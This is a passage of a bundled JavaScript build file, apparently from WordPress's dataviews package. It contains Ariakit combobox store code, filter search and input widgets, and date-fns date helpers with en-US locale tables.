32396 combobox.setState("activeId", activeId);
32397 combobox.setState("moves", 0);
32398 })
32399 );
32400 setup(
32401 combobox,
32402 () => sync2(combobox, ["moves", "activeId"], (state, prevState) => {
32403 if (state.moves === prevState.moves) {
32404 combobox.setState("activeValue", void 0);
32405 }
32406 })
32407 );
32408 setup(
32409 combobox,
32410 () => batch(combobox, ["moves", "renderedItems"], (state, prev) => {
32411 if (state.moves === prev.moves) return;
32412 const { activeId: activeId2 } = combobox.getState();
32413 const activeItem = composite.item(activeId2);
32414 combobox.setState("activeValue", activeItem == null ? void 0 : activeItem.value);
32415 })
32416 );
32417 return {
32418 ...popover,
32419 ...composite,
32420 ...combobox,
32421 tag,
32422 setValue: (value2) => combobox.setState("value", value2),
32423 resetValue: () => combobox.setState("value", initialState.value),
32424 setSelectedValue: (selectedValue2) => combobox.setState("selectedValue", selectedValue2)
32425 };
32426 }
32427
32428 // node_modules/@ariakit/react-core/esm/__chunks/SVN33SY6.js
32429 function useComboboxStoreOptions(props) {
32430 const tag = useTagContext();
32431 props = {
32432 ...props,
32433 tag: props.tag !== void 0 ? props.tag : tag
32434 };
32435 return useCompositeStoreOptions(props);
32436 }
32437 function useComboboxStoreProps(store2, update4, props) {
32438 useUpdateEffect(update4, [props.tag]);
32439 useStoreProps(store2, props, "value", "setValue");
32440 useStoreProps(store2, props, "selectedValue", "setSelectedValue");
32441 useStoreProps(store2, props, "resetValueOnHide");
32442 useStoreProps(store2, props, "resetValueOnSelect");
32443 return Object.assign(
32444 useCompositeStoreProps(
32445 usePopoverStoreProps(store2, update4, props),
32446 update4,
32447 props
32448 ),
32449 { tag: props.tag }
32450 );
32451 }
32452 function useComboboxStore(props = {}) {
32453 props = useComboboxStoreOptions(props);
32454 const [store2, update4] = useStore(createComboboxStore, props);
32455 return useComboboxStoreProps(store2, update4, props);
32456 }
32457
32458 // node_modules/@ariakit/react-core/esm/combobox/combobox-provider.js
32459 var import_jsx_runtime213 = __toESM(require_jsx_runtime(), 1);
32460 function ComboboxProvider(props = {}) {
32461 const store2 = useComboboxStore(props);
32462 return /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(ComboboxContextProvider, { value: store2, children: props.children });
32463 }
32464
32465 // packages/dataviews/build-module/components/dataviews-filters/search-widget.mjs
32466 var import_remove_accents = __toESM(require_remove_accents(), 1);
32467 var import_compose19 = __toESM(require_compose(), 1);
32468 var import_i18n104 = __toESM(require_i18n(), 1);
32469 var import_element90 = __toESM(require_element(), 1);
32470 var import_components109 = __toESM(require_components(), 1);
32471
32472 // packages/dataviews/build-module/components/dataviews-filters/utils.mjs
32473 var EMPTY_ARRAY6 = [];
32474 var getCurrentValue = (filterDefinition, currentFilter) => {
32475 if (filterDefinition.singleSelection) {
32476 return currentFilter?.value;
32477 }
32478 if (Array.isArray(currentFilter?.value)) {
32479 return currentFilter.value;
32480 }
32481 if (!Array.isArray(currentFilter?.value) && !!currentFilter?.value) {
32482 return [currentFilter.value];
32483 }
32484 return EMPTY_ARRAY6;
32485 };
32486
32487 // packages/dataviews/build-module/hooks/use-elements.mjs
32488 var import_element89 = __toESM(require_element(), 1);
32489 var EMPTY_ARRAY7 = [];
32490 function useElements({
32491 elements: elements2,
32492 getElements
32493 }) {
32494 const staticElements = Array.isArray(elements2) && elements2.length > 0 ? elements2 : EMPTY_ARRAY7;
32495 const [records, setRecords] = (0, import_element89.useState)(staticElements);
32496 const [isLoading, setIsLoading] = (0, import_element89.useState)(false);
32497 (0, import_element89.useEffect)(() => {
32498 if (!getElements) {
32499 setRecords(staticElements);
32500 return;
32501 }
32502 let cancelled = false;
32503 setIsLoading(true);
32504 getElements().then((fetchedElements) => {
32505 if (!cancelled) {
32506 const dynamicElements = Array.isArray(fetchedElements) && fetchedElements.length > 0 ? fetchedElements : staticElements;
32507 setRecords(dynamicElements);
32508 }
32509 }).catch(() => {
32510 if (!cancelled) {
32511 setRecords(staticElements);
32512 }
32513 }).finally(() => {
32514 if (!cancelled) {
32515 setIsLoading(false);
32516 }
32517 });
32518 return () => {
32519 cancelled = true;
32520 };
32521 }, [getElements, staticElements]);
32522 return {
32523 elements: records,
32524 isLoading
32525 };
32526 }
32527
32528 // packages/dataviews/build-module/components/dataviews-filters/search-widget.mjs
32529 var import_jsx_runtime214 = __toESM(require_jsx_runtime(), 1);
32530 function normalizeSearchInput(input = "") {
32531 return (0, import_remove_accents.default)(input.trim().toLowerCase());
32532 }
32533 var getNewValue = (filterDefinition, currentFilter, value) => {
32534 if (filterDefinition.singleSelection) {
32535 return value;
32536 }
32537 if (Array.isArray(currentFilter?.value)) {
32538 return currentFilter.value.includes(value) ? currentFilter.value.filter((v2) => v2 !== value) : [...currentFilter.value, value];
32539 }
32540 return [value];
32541 };
32542 function generateFilterElementCompositeItemId(prefix2, filterElementValue) {
32543 return `${prefix2}-${filterElementValue}`;
32544 }
32545 var MultiSelectionOption = ({ selected }) => {
32546 return /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32547 "span",
32548 {
32549 className: clsx_default(
32550 "dataviews-filters__search-widget-listitem-multi-selection",
32551 { "is-selected": selected }
32552 ),
32553 children: selected && /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(import_components109.Icon, { icon: check_default })
32554 }
32555 );
32556 };
32557 var SingleSelectionOption = ({ selected }) => {
32558 return /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32559 "span",
32560 {
32561 className: clsx_default(
32562 "dataviews-filters__search-widget-listitem-single-selection",
32563 { "is-selected": selected }
32564 )
32565 }
32566 );
32567 };
32568 function ListBox({ view, filter, onChangeView }) {
32569 const baseId = (0, import_compose19.useInstanceId)(ListBox, "dataviews-filter-list-box");
32570 const [activeCompositeId, setActiveCompositeId] = (0, import_element90.useState)(
32571 // When there are one or less operators, the first item is set as active
32572 // (by setting the initial `activeId` to `undefined`).
32573 // With 2 or more operators, the focus is moved on the operators control
32574 // (by setting the initial `activeId` to `null`), meaning that there won't
32575 // be an active item initially. Focus is then managed via the
32576 // `onFocusVisible` callback.
32577 filter.operators?.length === 1 ? void 0 : null
32578 );
32579 const currentFilter = view.filters?.find(
32580 (f2) => f2.field === filter.field
32581 );
32582 const currentValue = getCurrentValue(filter, currentFilter);
32583 return /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32584 import_components109.Composite,
32585 {
32586 virtualFocus: true,
32587 focusLoop: true,
32588 activeId: activeCompositeId,
32589 setActiveId: setActiveCompositeId,
32590 role: "listbox",
32591 className: "dataviews-filters__search-widget-listbox",
32592 "aria-label": (0, import_i18n104.sprintf)(
32593 /* translators: List of items for a filter. 1: Filter name. e.g.: "List of: Author". */
32594 (0, import_i18n104.__)("List of: %1$s"),
32595 filter.name
32596 ),
32597 onFocusVisible: () => {
32598 if (!activeCompositeId && filter.elements.length) {
32599 setActiveCompositeId(
32600 generateFilterElementCompositeItemId(
32601 baseId,
32602 filter.elements[0].value
32603 )
32604 );
32605 }
32606 },
32607 render: /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(import_components109.Composite.Typeahead, {}),
32608 children: filter.elements.map((element) => /* @__PURE__ */ (0, import_jsx_runtime214.jsxs)(
32609 import_components109.Composite.Hover,
32610 {
32611 render: /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32612 import_components109.Composite.Item,
32613 {
32614 id: generateFilterElementCompositeItemId(
32615 baseId,
32616 element.value
32617 ),
32618 render: /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32619 "div",
32620 {
32621 "aria-label": element.label,
32622 role: "option",
32623 className: "dataviews-filters__search-widget-listitem"
32624 }
32625 ),
32626 onClick: () => {
32627 const newFilters = currentFilter ? [
32628 ...(view.filters ?? []).map(
32629 (_filter) => {
32630 if (_filter.field === filter.field) {
32631 return {
32632 ..._filter,
32633 operator: currentFilter.operator || filter.operators[0],
32634 value: getNewValue(
32635 filter,
32636 currentFilter,
32637 element.value
32638 )
32639 };
32640 }
32641 return _filter;
32642 }
32643 )
32644 ] : [
32645 ...view.filters ?? [],
32646 {
32647 field: filter.field,
32648 operator: filter.operators[0],
32649 value: getNewValue(
32650 filter,
32651 currentFilter,
32652 element.value
32653 )
32654 }
32655 ];
32656 onChangeView({
32657 ...view,
32658 page: 1,
32659 filters: newFilters
32660 });
32661 }
32662 }
32663 ),
32664 children: [
32665 filter.singleSelection && /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32666 SingleSelectionOption,
32667 {
32668 selected: currentValue === element.value
32669 }
32670 ),
32671 !filter.singleSelection && /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32672 MultiSelectionOption,
32673 {
32674 selected: currentValue.includes(element.value)
32675 }
32676 ),
32677 /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32678 "span",
32679 {
32680 className: "dataviews-filters__search-widget-listitem-value",
32681 title: element.label,
32682 children: element.label
32683 }
32684 )
32685 ]
32686 },
32687 element.value
32688 ))
32689 }
32690 );
32691 }
32692 function ComboboxList22({ view, filter, onChangeView }) {
32693 const [searchValue, setSearchValue] = (0, import_element90.useState)("");
32694 const deferredSearchValue = (0, import_element90.useDeferredValue)(searchValue);
32695 const currentFilter = view.filters?.find(
32696 (_filter) => _filter.field === filter.field
32697 );
32698 const currentValue = getCurrentValue(filter, currentFilter);
32699 const matches = (0, import_element90.useMemo)(() => {
32700 const normalizedSearch = normalizeSearchInput(deferredSearchValue);
32701 return filter.elements.filter(
32702 (item) => normalizeSearchInput(item.label).includes(normalizedSearch)
32703 );
32704 }, [filter.elements, deferredSearchValue]);
32705 return /* @__PURE__ */ (0, import_jsx_runtime214.jsxs)(
32706 ComboboxProvider,
32707 {
32708 selectedValue: currentValue,
32709 setSelectedValue: (value) => {
32710 const newFilters = currentFilter ? [
32711 ...(view.filters ?? []).map((_filter) => {
32712 if (_filter.field === filter.field) {
32713 return {
32714 ..._filter,
32715 operator: currentFilter.operator || filter.operators[0],
32716 value
32717 };
32718 }
32719 return _filter;
32720 })
32721 ] : [
32722 ...view.filters ?? [],
32723 {
32724 field: filter.field,
32725 operator: filter.operators[0],
32726 value
32727 }
32728 ];
32729 onChangeView({
32730 ...view,
32731 page: 1,
32732 filters: newFilters
32733 });
32734 },
32735 setValue: setSearchValue,
32736 children: [
32737 /* @__PURE__ */ (0, import_jsx_runtime214.jsxs)("div", { className: "dataviews-filters__search-widget-filter-combobox__wrapper", children: [
32738 /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32739 ComboboxLabel,
32740 {
32741 render: /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(import_components109.VisuallyHidden, { children: (0, import_i18n104.__)("Search items") }),
32742 children: (0, import_i18n104.__)("Search items")
32743 }
32744 ),
32745 /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32746 Combobox,
32747 {
32748 autoSelect: "always",
32749 placeholder: (0, import_i18n104.__)("Search"),
32750 className: "dataviews-filters__search-widget-filter-combobox__input"
32751 }
32752 ),
32753 /* @__PURE__ */ (0, import_jsx_runtime214.jsx)("div", { className: "dataviews-filters__search-widget-filter-combobox__icon", children: /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(import_components109.Icon, { icon: search_default }) })
32754 ] }),
32755 /* @__PURE__ */ (0, import_jsx_runtime214.jsxs)(
32756 ComboboxList,
32757 {
32758 className: "dataviews-filters__search-widget-filter-combobox-list",
32759 alwaysVisible: true,
32760 children: [
32761 matches.map((element) => {
32762 return /* @__PURE__ */ (0, import_jsx_runtime214.jsxs)(
32763 ComboboxItem,
32764 {
32765 resetValueOnSelect: false,
32766 value: element.value,
32767 className: "dataviews-filters__search-widget-listitem",
32768 hideOnClick: false,
32769 setValueOnClick: false,
32770 focusOnHover: true,
32771 children: [
32772 filter.singleSelection && /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32773 SingleSelectionOption,
32774 {
32775 selected: currentValue === element.value
32776 }
32777 ),
32778 !filter.singleSelection && /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32779 MultiSelectionOption,
32780 {
32781 selected: currentValue.includes(
32782 element.value
32783 )
32784 }
32785 ),
32786 /* @__PURE__ */ (0, import_jsx_runtime214.jsxs)(
32787 "span",
32788 {
32789 className: "dataviews-filters__search-widget-listitem-value",
32790 title: element.label,
32791 children: [
32792 /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(
32793 ComboboxItemValue,
32794 {
32795 className: "dataviews-filters__search-widget-filter-combobox-item-value",
32796 value: element.label
32797 }
32798 ),
32799 !!element.description && /* @__PURE__ */ (0, import_jsx_runtime214.jsx)("span", { className: "dataviews-filters__search-widget-listitem-description", children: element.description })
32800 ]
32801 }
32802 )
32803 ]
32804 },
32805 element.value
32806 );
32807 }),
32808 !matches.length && /* @__PURE__ */ (0, import_jsx_runtime214.jsx)("p", { children: (0, import_i18n104.__)("No results found") })
32809 ]
32810 }
32811 )
32812 ]
32813 }
32814 );
32815 }
32816 function SearchWidget(props) {
32817 const { elements: elements2, isLoading } = useElements({
32818 elements: props.filter.elements,
32819 getElements: props.filter.getElements
32820 });
32821 if (isLoading) {
32822 return /* @__PURE__ */ (0, import_jsx_runtime214.jsx)("div", { className: "dataviews-filters__search-widget-no-elements", children: /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(import_components109.Spinner, {}) });
32823 }
32824 if (elements2.length === 0) {
32825 return /* @__PURE__ */ (0, import_jsx_runtime214.jsx)("div", { className: "dataviews-filters__search-widget-no-elements", children: (0, import_i18n104.__)("No elements found") });
32826 }
32827 const Widget = elements2.length > 10 ? ComboboxList22 : ListBox;
32828 return /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(Widget, { ...props, filter: { ...props.filter, elements: elements2 } });
32829 }
32830
32831 // packages/dataviews/build-module/components/dataviews-filters/input-widget.mjs
32832 var import_es62 = __toESM(require_es6(), 1);
32833 var import_compose20 = __toESM(require_compose(), 1);
32834 var import_element91 = __toESM(require_element(), 1);
32835 var import_components110 = __toESM(require_components(), 1);
32836 var import_jsx_runtime215 = __toESM(require_jsx_runtime(), 1);
32837 function InputWidget({
32838 filter,
32839 view,
32840 onChangeView,
32841 fields
32842 }) {
32843 const currentFilter = view.filters?.find(
32844 (f2) => f2.field === filter.field
32845 );
32846 const currentValue = getCurrentValue(filter, currentFilter);
32847 const field = (0, import_element91.useMemo)(() => {
32848 const currentField = fields.find((f2) => f2.id === filter.field);
32849 if (currentField) {
32850 return {
32851 ...currentField,
32852 // Deactivate validation for filters.
32853 isValid: {},
32854 // Configure getValue/setValue as if Item was a plain object.
32855 getValue: ({ item }) => item[currentField.id],
32856 setValue: ({ value }) => ({
32857 [currentField.id]: value
32858 })
32859 };
32860 }
32861 return currentField;
32862 }, [fields, filter.field]);
32863 const data = (0, import_element91.useMemo)(() => {
32864 return (view.filters ?? []).reduce(
32865 (acc, activeFilter) => {
32866 acc[activeFilter.field] = activeFilter.value;
32867 return acc;
32868 },
32869 {}
32870 );
32871 }, [view.filters]);
32872 const handleChange = (0, import_compose20.useEvent)((updatedData) => {
32873 if (!field || !currentFilter) {
32874 return;
32875 }
32876 const nextValue = field.getValue({ item: updatedData });
32877 if ((0, import_es62.default)(nextValue, currentValue)) {
32878 return;
32879 }
32880 onChangeView({
32881 ...view,
32882 filters: (view.filters ?? []).map(
32883 (_filter) => _filter.field === filter.field ? {
32884 ..._filter,
32885 operator: currentFilter.operator || filter.operators[0],
32886 // Consider empty strings as undefined:
32887 //
32888 // - undefined as value means the filter is unset: the filter widget displays no value and the search returns all records
32889 // - empty string as value means "search empty string": returns only the records that have an empty string as value
32890 //
32891 // In practice, this means the filter will not be able to find an empty string as the value.
32892 value: nextValue === "" ? void 0 : nextValue
32893 } : _filter
32894 )
32895 });
32896 });
32897 if (!field || !field.Edit || !currentFilter) {
32898 return null;
32899 }
32900 return /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(
32901 import_components110.Flex,
32902 {
32903 className: "dataviews-filters__user-input-widget",
32904 gap: 2.5,
32905 direction: "column",
32906 children: /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(
32907 field.Edit,
32908 {
32909 hideLabelFromVision: true,
32910 data,
32911 field,
32912 operator: currentFilter.operator,
32913 onChange: handleChange
32914 }
32915 )
32916 }
32917 );
32918 }
32919
32920 // packages/dataviews/node_modules/date-fns/constants.js
32921 var daysInYear = 365.2425;
32922 var maxTime = Math.pow(10, 8) * 24 * 60 * 60 * 1e3;
32923 var minTime = -maxTime;
32924 var millisecondsInWeek = 6048e5;
32925 var millisecondsInDay = 864e5;
32926 var secondsInHour = 3600;
32927 var secondsInDay = secondsInHour * 24;
32928 var secondsInWeek = secondsInDay * 7;
32929 var secondsInYear = secondsInDay * daysInYear;
32930 var secondsInMonth = secondsInYear / 12;
32931 var secondsInQuarter = secondsInMonth * 3;
32932 var constructFromSymbol = /* @__PURE__ */ Symbol.for("constructDateFrom");
32933
32934 // packages/dataviews/node_modules/date-fns/constructFrom.js
32935 function constructFrom(date, value) {
32936 if (typeof date === "function") return date(value);
32937 if (date && typeof date === "object" && constructFromSymbol in date)
32938 return date[constructFromSymbol](value);
32939 if (date instanceof Date) return new date.constructor(value);
32940 return new Date(value);
32941 }
32942
32943 // packages/dataviews/node_modules/date-fns/toDate.js
32944 function toDate(argument, context) {
32945 return constructFrom(context || argument, argument);
32946 }
32947
32948 // packages/dataviews/node_modules/date-fns/addDays.js
32949 function addDays(date, amount, options) {
32950 const _date = toDate(date, options?.in);
32951 if (isNaN(amount)) return constructFrom(options?.in || date, NaN);
32952 if (!amount) return _date;
32953 _date.setDate(_date.getDate() + amount);
32954 return _date;
32955 }
32956
32957 // packages/dataviews/node_modules/date-fns/addMonths.js
32958 function addMonths(date, amount, options) {
32959 const _date = toDate(date, options?.in);
32960 if (isNaN(amount)) return constructFrom(options?.in || date, NaN);
32961 if (!amount) {
32962 return _date;
32963 }
32964 const dayOfMonth = _date.getDate();
32965 const endOfDesiredMonth = constructFrom(options?.in || date, _date.getTime());
32966 endOfDesiredMonth.setMonth(_date.getMonth() + amount + 1, 0);
32967 const daysInMonth = endOfDesiredMonth.getDate();
32968 if (dayOfMonth >= daysInMonth) {
32969 return endOfDesiredMonth;
32970 } else {
32971 _date.setFullYear(
32972 endOfDesiredMonth.getFullYear(),
32973 endOfDesiredMonth.getMonth(),
32974 dayOfMonth
32975 );
32976 return _date;
32977 }
32978 }
32979
32980 // packages/dataviews/node_modules/date-fns/_lib/defaultOptions.js
32981 var defaultOptions = {};
32982 function getDefaultOptions() {
32983 return defaultOptions;
32984 }
32985
32986 // packages/dataviews/node_modules/date-fns/startOfWeek.js
32987 function startOfWeek(date, options) {
32988 const defaultOptions2 = getDefaultOptions();
32989 const weekStartsOn = options?.weekStartsOn ?? options?.locale?.options?.weekStartsOn ?? defaultOptions2.weekStartsOn ?? defaultOptions2.locale?.options?.weekStartsOn ?? 0;
32990 const _date = toDate(date, options?.in);
32991 const day = _date.getDay();
32992 const diff = (day < weekStartsOn ? 7 : 0) + day - weekStartsOn;
32993 _date.setDate(_date.getDate() - diff);
32994 _date.setHours(0, 0, 0, 0);
32995 return _date;
32996 }
32997
32998 // packages/dataviews/node_modules/date-fns/startOfISOWeek.js
32999 function startOfISOWeek(date, options) {
33000 return startOfWeek(date, { ...options, weekStartsOn: 1 });
33001 }
33002
33003 // packages/dataviews/node_modules/date-fns/getISOWeekYear.js
33004 function getISOWeekYear(date, options) {
33005 const _date = toDate(date, options?.in);
33006 const year = _date.getFullYear();
33007 const fourthOfJanuaryOfNextYear = constructFrom(_date, 0);
33008 fourthOfJanuaryOfNextYear.setFullYear(year + 1, 0, 4);
33009 fourthOfJanuaryOfNextYear.setHours(0, 0, 0, 0);
33010 const startOfNextYear = startOfISOWeek(fourthOfJanuaryOfNextYear);
33011 const fourthOfJanuaryOfThisYear = constructFrom(_date, 0);
33012 fourthOfJanuaryOfThisYear.setFullYear(year, 0, 4);
33013 fourthOfJanuaryOfThisYear.setHours(0, 0, 0, 0);
33014 const startOfThisYear = startOfISOWeek(fourthOfJanuaryOfThisYear);
33015 if (_date.getTime() >= startOfNextYear.getTime()) {
33016 return year + 1;
33017 } else if (_date.getTime() >= startOfThisYear.getTime()) {
33018 return year;
33019 } else {
33020 return year - 1;
33021 }
33022 }
33023
33024 // packages/dataviews/node_modules/date-fns/_lib/getTimezoneOffsetInMilliseconds.js
33025 function getTimezoneOffsetInMilliseconds(date) {
33026 const _date = toDate(date);
33027 const utcDate = new Date(
33028 Date.UTC(
33029 _date.getFullYear(),
33030 _date.getMonth(),
33031 _date.getDate(),
33032 _date.getHours(),
33033 _date.getMinutes(),
33034 _date.getSeconds(),
33035 _date.getMilliseconds()
33036 )
33037 );
33038 utcDate.setUTCFullYear(_date.getFullYear());
33039 return +date - +utcDate;
33040 }
33041
33042 // packages/dataviews/node_modules/date-fns/_lib/normalizeDates.js
33043 function normalizeDates(context, ...dates) {
33044 const normalize = constructFrom.bind(
33045 null,
33046 context || dates.find((date) => typeof date === "object")
33047 );
33048 return dates.map(normalize);
33049 }
33050
33051 // packages/dataviews/node_modules/date-fns/startOfDay.js
33052 function startOfDay(date, options) {
33053 const _date = toDate(date, options?.in);
33054 _date.setHours(0, 0, 0, 0);
33055 return _date;
33056 }
33057
33058 // packages/dataviews/node_modules/date-fns/differenceInCalendarDays.js
33059 function differenceInCalendarDays(laterDate, earlierDate, options) {
33060 const [laterDate_, earlierDate_] = normalizeDates(
33061 options?.in,
33062 laterDate,
33063 earlierDate
33064 );
33065 const laterStartOfDay = startOfDay(laterDate_);
33066 const earlierStartOfDay = startOfDay(earlierDate_);
33067 const laterTimestamp = +laterStartOfDay - getTimezoneOffsetInMilliseconds(laterStartOfDay);
33068 const earlierTimestamp = +earlierStartOfDay - getTimezoneOffsetInMilliseconds(earlierStartOfDay);
33069 return Math.round((laterTimestamp - earlierTimestamp) / millisecondsInDay);
33070 }
33071
33072 // packages/dataviews/node_modules/date-fns/startOfISOWeekYear.js
33073 function startOfISOWeekYear(date, options) {
33074 const year = getISOWeekYear(date, options);
33075 const fourthOfJanuary = constructFrom(options?.in || date, 0);
33076 fourthOfJanuary.setFullYear(year, 0, 4);
33077 fourthOfJanuary.setHours(0, 0, 0, 0);
33078 return startOfISOWeek(fourthOfJanuary);
33079 }
33080
33081 // packages/dataviews/node_modules/date-fns/addWeeks.js
33082 function addWeeks(date, amount, options) {
33083 return addDays(date, amount * 7, options);
33084 }
33085
33086 // packages/dataviews/node_modules/date-fns/addYears.js
33087 function addYears(date, amount, options) {
33088 return addMonths(date, amount * 12, options);
33089 }
33090
33091 // packages/dataviews/node_modules/date-fns/isDate.js
33092 function isDate(value) {
33093 return value instanceof Date || typeof value === "object" && Object.prototype.toString.call(value) === "[object Date]";
33094 }
33095
33096 // packages/dataviews/node_modules/date-fns/isValid.js
33097 function isValid(date) {
33098 return !(!isDate(date) && typeof date !== "number" || isNaN(+toDate(date)));
33099 }
33100
33101 // packages/dataviews/node_modules/date-fns/startOfMonth.js
33102 function startOfMonth(date, options) {
33103 const _date = toDate(date, options?.in);
33104 _date.setDate(1);
33105 _date.setHours(0, 0, 0, 0);
33106 return _date;
33107 }
33108
33109 // packages/dataviews/node_modules/date-fns/startOfYear.js
33110 function startOfYear(date, options) {
33111 const date_ = toDate(date, options?.in);
33112 date_.setFullYear(date_.getFullYear(), 0, 1);
33113 date_.setHours(0, 0, 0, 0);
33114 return date_;
33115 }
33116
33117 // packages/dataviews/node_modules/date-fns/locale/en-US/_lib/formatDistance.js
33118 var formatDistanceLocale = {
33119 lessThanXSeconds: {
33120 one: "less than a second",
33121 other: "less than {{count}} seconds"
33122 },
33123 xSeconds: {
33124 one: "1 second",
33125 other: "{{count}} seconds"
33126 },
33127 halfAMinute: "half a minute",
33128 lessThanXMinutes: {
33129 one: "less than a minute",
33130 other: "less than {{count}} minutes"
33131 },
33132 xMinutes: {
33133 one: "1 minute",
33134 other: "{{count}} minutes"
33135 },
33136 aboutXHours: {
33137 one: "about 1 hour",
33138 other: "about {{count}} hours"
33139 },
33140 xHours: {
33141 one: "1 hour",
33142 other: "{{count}} hours"
33143 },
33144 xDays: {
33145 one: "1 day",
33146 other: "{{count}} days"
33147 },
33148 aboutXWeeks: {
33149 one: "about 1 week",
33150 other: "about {{count}} weeks"
33151 },
33152 xWeeks: {
33153 one: "1 week",
33154 other: "{{count}} weeks"
33155 },
33156 aboutXMonths: {
33157 one: "about 1 month",
33158 other: "about {{count}} months"
33159 },
33160 xMonths: {
33161 one: "1 month",
33162 other: "{{count}} months"
33163 },
33164 aboutXYears: {
33165 one: "about 1 year",
33166 other: "about {{count}} years"
33167 },
33168 xYears: {
33169 one: "1 year",
33170 other: "{{count}} years"
33171 },
33172 overXYears: {
33173 one: "over 1 year",
33174 other: "over {{count}} years"
33175 },
33176 almostXYears: {
33177 one: "almost 1 year",
33178 other: "almost {{count}} years"
33179 }
33180 };
33181 var formatDistance = (token, count, options) => {
33182 let result;
33183 const tokenValue = formatDistanceLocale[token];
33184 if (typeof tokenValue === "string") {
33185 result = tokenValue;
33186 } else if (count === 1) {
33187 result = tokenValue.one;
33188 } else {
33189 result = tokenValue.other.replace("{{count}}", count.toString());
33190 }
33191 if (options?.addSuffix) {
33192 if (options.comparison && options.comparison > 0) {
33193 return "in " + result;
33194 } else {
33195 return result + " ago";
33196 }
33197 }
33198 return result;
33199 };
33200
33201 // packages/dataviews/node_modules/date-fns/locale/_lib/buildFormatLongFn.js
33202 function buildFormatLongFn(args) {
33203 return (options = {}) => {
33204 const width = options.width ? String(options.width) : args.defaultWidth;
33205 const format6 = args.formats[width] || args.formats[args.defaultWidth];
33206 return format6;
33207 };
33208 }
33209
33210 // packages/dataviews/node_modules/date-fns/locale/en-US/_lib/formatLong.js
33211 var dateFormats = {
33212 full: "EEEE, MMMM do, y",
33213 long: "MMMM do, y",
33214 medium: "MMM d, y",
33215 short: "MM/dd/yyyy"
33216 };
33217 var timeFormats = {
33218 full: "h:mm:ss a zzzz",
33219 long: "h:mm:ss a z",
33220 medium: "h:mm:ss a",
33221 short: "h:mm a"
33222 };
33223 var dateTimeFormats = {
33224 full: "{{date}} 'at' {{time}}",
33225 long: "{{date}} 'at' {{time}}",
33226 medium: "{{date}}, {{time}}",
33227 short: "{{date}}, {{time}}"
33228 };
33229 var formatLong = {
33230 date: buildFormatLongFn({
33231 formats: dateFormats,
33232 defaultWidth: "full"
33233 }),
33234 time: buildFormatLongFn({
33235 formats: timeFormats,
33236 defaultWidth: "full"
33237 }),
33238 dateTime: buildFormatLongFn({
33239 formats: dateTimeFormats,
33240 defaultWidth: "full"
33241 })
33242 };
33243
33244 // packages/dataviews/node_modules/date-fns/locale/en-US/_lib/formatRelative.js
33245 var formatRelativeLocale = {
33246 lastWeek: "'last' eeee 'at' p",
33247 yesterday: "'yesterday at' p",
33248 today: "'today at' p",
33249 tomorrow: "'tomorrow at' p",
33250 nextWeek: "eeee 'at' p",
33251 other: "P"
33252 };
33253 var formatRelative = (token, _date, _baseDate, _options) => formatRelativeLocale[token];
33254
33255 // packages/dataviews/node_modules/date-fns/locale/_lib/buildLocalizeFn.js
33256 function buildLocalizeFn(args) {
33257 return (value, options) => {
33258 const context = options?.context ? String(options.context) : "standalone";
33259 let valuesArray;
33260 if (context === "formatting" && args.formattingValues) {
33261 const defaultWidth = args.defaultFormattingWidth || args.defaultWidth;
33262 const width = options?.width ? String(options.width) : defaultWidth;
33263 valuesArray = args.formattingValues[width] || args.formattingValues[defaultWidth];
33264 } else {
33265 const defaultWidth = args.defaultWidth;
33266 const width = options?.width ? String(options.width) : args.defaultWidth;
33267 valuesArray = args.values[width] || args.values[defaultWidth];
33268 }
33269 const index = args.argumentCallback ? args.argumentCallback(value) : value;
33270 return valuesArray[index];
33271 };
33272 }
33273
33274 // packages/dataviews/node_modules/date-fns/locale/en-US/_lib/localize.js
33275 var eraValues = {
33276 narrow: ["B", "A"],
33277 abbreviated: ["BC", "AD"],
33278 wide: ["Before Christ", "Anno Domini"]
33279 };
33280 var quarterValues = {
33281 narrow: ["1", "2", "3", "4"],
33282 abbreviated: ["Q1", "Q2", "Q3", "Q4"],
33283 wide: ["1st quarter", "2nd quarter", "3rd quarter", "4th quarter"]
33284 };
33285 var monthValues = {
33286 narrow: ["J", "F", "M", "A", "M", "J", "J", "A", "S", "O", "N", "D"],
33287 abbreviated: [
33288 "Jan",
33289 "Feb",
33290 "Mar",
33291 "Apr",
33292 "May",
33293 "Jun",
33294 "Jul",
33295 "Aug",
33296 "Sep",
33297 "Oct",
33298 "Nov",
33299 "Dec"
33300 ],
33301 wide: [
33302 "January",
33303 "February",
33304 "March",
33305 "April",
33306 "May",
33307 "June",
33308 "July",
33309 "August",
33310 "September",
33311 "October",
33312 "November",
33313 "December"
33314 ]
33315 };
33316 var dayValues = {
33317 narrow: ["S", "M", "T", "W", "T", "F", "S"],
33318 short: ["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa"],
33319 abbreviated: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"],
33320 wide: [
33321 "Sunday",
33322 "Monday",
33323 "Tuesday",
33324 "Wednesday",
33325 "Thursday",
33326 "Friday",
33327 "Saturday"
33328 ]
33329 };
33330 var dayPeriodValues = {
33331 narrow: {
33332 am: "a",
33333 pm: "p",
33334 midnight: "mi",
33335 noon: "n",
33336 morning: "morning",
33337 afternoon: "afternoon",
33338 evening: "evening",
33339 night: "night"
33340 },
33341 abbreviated: {
33342 am: "AM",
33343 pm: "PM",
33344 midnight: "midnight",
33345 noon: "noon",
33346 morning: "morning",
33347 afternoon: "afternoon",
33348 evening: "evening",
33349 night: "night"
33350 },
33351 wide: {
33352 am: "a.m.",
33353 pm: "p.m.",
